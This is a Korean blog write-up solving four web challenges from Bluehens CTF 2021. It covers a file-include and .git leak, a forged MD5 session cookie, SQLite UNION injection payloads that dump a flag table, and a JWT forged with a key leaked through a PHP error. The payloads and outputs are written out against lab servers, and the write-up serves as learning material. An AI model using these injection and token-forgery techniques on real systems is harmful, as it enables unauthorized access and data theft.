Bluehens CTF 2021 Writeup

2021-03-22

Table Of Contents
  • speedrun-1
  • speedrun-2
  • speedrun-3
  • 후기
  • ctfvc

    + Description
      + find flag.txt
    
    + Created by
      + challenges.ctfd.io:30595
    
    • 문제 분석 & 문제 풀이

      문제 링크에 들어가보면

      ctfvc main

      이렇게 php 소스코드가 나오는것을 볼 수 있습니다.

        <?php
          	if (isset($_GET['file'])){
            	$file = $_GET['file'];
                if (strpos($file, "..") === false){
                    include(__DIR__ . $file);
                }
          	}
          	//Locked down with version control waddup 
          	echo highlight_file(__FILE__, true);
        ?>
      

      해당 소스코드는 URL?file=data 이런식으로 url에 임의의 값을 전송하면

      입력한 값에 .. 문자열이 존재하는지 체크하고 존재하지 않다면 include(__DIR__ . $file); 함수를 실행합니다

      먼저 최상위 디렉토리에 존재하는 flag.txt 를 읽기에는 .. 문자열 필터링으로 인해 접근할 수 없어

      어떠한 정보를 얻기위해 .git/ 디렉토리에 접근하면

      http://challenges.ctfd.io:30595/.git/

      .git directory Forbidden

      이렇게 403 Forbidden 권한 에러가 뜨면서 .git/ 디렉토리가 존재하는것을 볼 수 있습니다.

      해당 git 디렉토리에서 정보를 탈취하기 위해

      http://challenges.ctfd.io:30595?file=/.git/COMMIT_EDITMSG 이렇게 접근하면

      not including flag directory 1a2220dd8c13c32e in the version control system 이렇게 1a2220dd8c13c32e 디렉토리를 포함시키지 않는다는 것을 보고

      http://challenges.ctfd.io:30595/1a2220dd8c13c32e/ 1a2220dd8c13c32e 디렉토리에 접근해보면

      1a2220dd8c13c32e directory Forbidden

      .git/ 처럼 Forbidden 권한 에러가 나오는것을 보고 존재하는 디렉토리라는것을 파악 할 수 있습니다.

      해당 디렉토리에 중요한 정보가 들어있어서 포함 시키지 않는다는것으로 예측하고

      http://challenges.ctfd.io:30595?file=/1a2220dd8c13c32e/flag.txt 이런식으로 접근해보면 정상적으로 FLAG를 탈취할 수 있게 됩니다.

      Get Flag

    Flag is UDCTF{h4h4_suck3rs_i_t0tally_l0ck3d_th1s_down}

    speedrun-1

    + Created by
      + challenges.ctfd.io:30025
    
    • 문제 분석 & 문제 풀이

      문제 링크에 들어가보면

      hello User 2 이라는 문자만 떡하니 웹페이지에 나오게 되는데

      해당 웹 사이트를 분석해보면 서버에서 제공하는 쿠키중 PHPSESSID를 살펴보면

      c81e728d9d4c2f636f067f89cc14862c 이러한 값이 있는것을 보고

      MD5Online MD5 복호화를 시키면

      md5 decryption

      이렇게 2라는 값이 나온것을 볼 수 있습니다.

      아까 웹 페이지에 hello User 2 가 나온것을 보고 1을 MD5 암호화 시키면

      c4ca4238a0b923820dcc509a6f75849b 이러한 해쉬가 나오게됩니다.

      해당 해쉬를 PHPSESSID에 원래 있던값을 변조시키면 FLAG가 나오게됩니다.

      Hello Admin! Here is your flag: UDCTF{d0nt_r0ll_your_0wn_s3ssions}

    Flag is UDCTF{d0nt_r0ll_your_0wn_s3ssions}

    speedrun-2

    + Created by
      + challenges.ctfd.io:30026
    
    • 문제 풀이 & 문제 분석

      문제 링크에 들어가보면

        [{"course_id":"BIO-399","title":"Computational Biology","dept_name":"Biology","credits":"3"},{"course_id":"CS-315","title":"Robotics","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"CS-319","title":"Image Processing","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"CS-347","title":"Database System Concepts","dept_name":"Comp. Sci.","credits":"3"},{"course_id":"EE-181","title":"Intro. to Digital Systems","dept_name":"Elec. Eng.","credits":"3"},{"course_id":"FIN-201","title":"Investment Banking","dept_name":"Finance","credits":"3"},{"course_id":"HIS-351","title":"World History","dept_name":"History","credits":"3"},{"course_id":"MU-199","title":"Music Video Production","dept_name":"Music","credits":"3"}] <?php
        	$dbhandle = new PDO("sqlite:../uni.db") or die("Failed to open DB");
        	if (!$dbhandle) die ($error);
      
        	$credits = 3;
        	if (isset($_GET["credits"])){
        		$credits = $_GET["credits"];
        	}
        	$query = "select * from course where credits=".$credits;
        	$statement = $dbhandle->prepare($query);
        	$statement->execute();
        	$results = $statement->fetchAll(PDO::FETCH_ASSOC);
      
        	echo json_encode($results);
        	echo highlight_file(__FILE__, true);
        ?>
      

      이런식으로 sqlite와 연동한 PHP 소스코드가 나와있는것을 볼 수 있습니다. 해당 로직을 간단하게 파악해보면

        $query = "select * from course where credits=".$credits;
      

      이런식으로 sqlite와 연동하여 ?credits=n 이런식으로 요청하면 SQL 구문을 날리고 반환값을 출력합니다.

      해당 SQL 구문을 악의적으로 삽입하기 위해

        0 or 1=1
        0 UNION SELECT 1
        0 UNION SELECT 1,2
        0 UNION SELECT 1,2,3
        0 UNION SELECT 1,2,3,4
        0 UNION SELECT 1,2,3,sqlite_version()
        0 UNION SELECT tbl_name,1,2,3 FROM sqlite_master
      

      이런식으로 페이로드를 만들어 요청하면 원하는 정보를 가져올 수 있습니다.

        0 UNION SELECT tbl_name,1,2,3 FROM sqlite_master
      

      해당 페이로드를 삽입하면

        [
            {"course_id":"advisor","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"classroom","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"course","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"department","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"flag_xor_shares","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"grade_points","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"instructor","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"prereq","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"section","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"student","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"takes","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"teaches","title":"1","dept_name":"2","credits":"3"},
            {"course_id":"time_slot","title":"1","dept_name":"2","credits":"3"}
        ]
      

      테이블 목록을이 나열하게 됩니다.

      나영된 테이블 이름중 의심되는 flag_xor_shares 테이블을 보고

        0 UNION SELECT sql,1,2,3 FROM sqlite_master WHERE tbl_name="flag_xor_shares"
      

      SQL 정보를 가져오면

        [
            {
                "course_id":"CREATE TABLE flag_xor_shares (id int, hexdigest text)",
                "title":"1",
                "dept_name":"2",
                "credits":"3"
            }
        ]
      

      id, hexdigest 컬럼 정보를 가져올 수 있습니다.

      해당 flag_xor_shares 테이블의 정보를 가져오기 위해

        0 UNION SELECT id,hexdigest,2,3 FROM flag_xor_shares
      

      해당 페이로드를 삽입하면 이런식으로 나열됩니다.

        [
            {"course_id":"1","title":"7419ccad9d5949e66614cd9458cdac149c2ad981c9f3ec56d30d03e730631c23598394a6055c55ecb5bec49dd0043b9fde76","dept_name":"3","credits":"4"},
            {"course_id":"2","title":"835db37484676a462e223024a365c91fcdfe53ff975852abfacb79e0f3aef8d5b897a36c6fbfde9ca8e63b3ee00d3a1830f1","dept_name":"3","credits":"4"},
            {"course_id":"3","title":"9c5890b6230771372122e9352ed1f3a1f644c9d4e451b81cb2f6643a067669972dc6a06617eaf08e539ada9a92b713b09b0c","dept_name":"3","credits":"4"},
            {"course_id":"4","title":"53e5553b467e4badfcee4d97262445b27cdad3ced69a7fc69e0a04196685a61052cdd2f8a7a9650a0d861707f51403ccebc3","dept_name":"3","credits":"4"},
            {"course_id":"5","title":"6dbdf9003a3c710afbc92a669f248c6fbe15fc550753264477436a5093614a2efc76310bb7906c911c305a0a39f566c8fc35","dept_name":"3","credits":"4"}
        ]
      

      해당 값을들 이용하여 FLAG가 나오기 위해 xor 연산하면

        >>> a = 0x7419ccad9d5949e66614cd9458cdac149c2ad981c9f3ec56d30d03e730631c23598394a6055c55ecb5bec49dd0043b9fde76
        >>> b = 0x835db37484676a462e223024a365c91fcdfe53ff975852abfacb79e0f3aef8d5b897a36c6fbfde9ca8e63b3ee00d3a1830f1
        >>> c = 0x9c5890b6230771372122e9352ed1f3a1f644c9d4e451b81cb2f6643a067669972dc6a06617eaf08e539ada9a92b713b09b0c
        >>> d = 0x53e5553b467e4badfcee4d97262445b27cdad3ced69a7fc69e0a04196685a61052cdd2f8a7a9650a0d861707f51403ccebc3
        >>> e = 0x6dbdf9003a3c710afbc92a669f248c6fbe15fc550753264477436a5093614a2efc76310bb7906c911c305a0a39f566c8fc35
        >>> a^b^c^d^e
        860077354167297720659722903622287143287662258364561224072956015040266013696490504636945350849088335596072827892916249213
        >>> hex(a^b^c^d^e)
        '0x55444354467b68306e3373746c795f77655f6c316b335f6372797074305f615f6269745f6d3072655f7468346e5f7733627d'
        >>> bytes.fromhex(hex(a^b^c^d^e)[2:]).decode('utf-8')
        'UDCTF{h0n3stly_we_l1k3_crypt0_a_bit_m0re_th4n_w3b}'
      

      이렇게 FLAG가 나오게됩니다.

    Flag is UDCTF{h0n3stly_we_l1k3_crypt0_a_bit_m0re_th4n_w3b}

    speedrun-3

    + Created by
      + http://challenges.ctfd.io:30043/
    
    • 문제 분석 & 문제 풀이

      링크에 들어가보면 입력하는 부분이 나오게되는데

      main page

      test 를 입력해보면

      WelCome

      이렇게 입력한 이름이 나오는것을 볼 수 있습니다.

      아직까지 감을 잡지 못했지만 새로고침을 한번 해보면

        {"admin":false,"name":"test"}
        Not an admin no flag for you
      

      이러한 텍스트가 나오게됩니다. 어떠한 값을 가지고 admin 체크하는것으로 추측하고 authtoken 쿠키를 살펴보면

        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5hbWUiOiJ0ZXN0In0.VIuVWqFt91t1wg7VPunihA6XAvh5taBsyhoCdxwYh5w`
      

      JWT으로 예측되는 값이 있는것을 볼 수 있습니다.

      해당 값을 인코딩 시키기 위해 jwt.io 에서 디코딩 시켜보면

      jwt-Invalid

        {
          "admin": false,
          "name": "test"
        }
      

      하단에 Invalid Signature 에러가 뜨면서 이러한 값이 나오는것을 볼 수 있습니다.

      해당 디코딩 결과 값을

        {
          "admin": true,
          "name": "test"
        }
      

      true 로 변경시킨 다음

        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3QifQ.Gw1vsxvlE-uFIiXmuyk9POUJaNThILOLy-6QDPqjP2g
      

      인코딩 시킨 값을 authtoken 쿠키에 주입시키면

        Fatal error: Uncaught Error: Class 'Firebase\JWT\SignatureInvalidException' not found in /var/www/html/index.php:123 Stack trace: #0 /var/www/html/index.php(531): Firebase\JWT\JWT::decode('eyJ0eXAiOiJKV1Q...', '82a59879a507', Array) #1 {main} thrown in /var/www/html/index.php on line 123
      

      이렇게 php 에러가 나오면서 82a59879a507 이러한 서명 확인용 키가 노출됩니다.

      해당 82a59879a507 키를 가지고

      jwt-Signature

      VERIFY SIGNATURE 부분에 넣어보면 이렇게 정상적으로 인코딩이 된것을 볼 수 있습니다.

        eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6dHJ1ZSwibmFtZSI6InRlc3QifQ.EgzcdrhLVD82MpypAE6cN1ghXuDBDcX3UdMe167VOUE
      

      해당 값을 가지고 다시 authtoken쿠키에 주입시키면

        {"admin":true,"name":"test"}
        UDCTF{st00p1d_PHP_err0r_mess4ges}
      

      이렇게 정상적으로 admin이 true로 변조되면서 관리자로 인식하여 플래그가 나오는것을 볼 수 있습니다.

    후기

    bluehens CTF는 여러 일정이 잡혀있는 바람에

    웹문제를 제대로 분석하지 못해 아쉬움이 남았지만

    CTF가 끝난 이후로 몇개 문제를 풀기는 했지만 이해 안가는 문제가 있었다.(SeaEssAreEph , speedrun-4)

    SeaEssAreEph 문제는 ssrf 이였지만 아직 이해 못했고

    speedrun-4는 어떤 문제인지 제대로 분석을 못했다.

    웹문제 분석 능력을 좀 늘려야되겠다.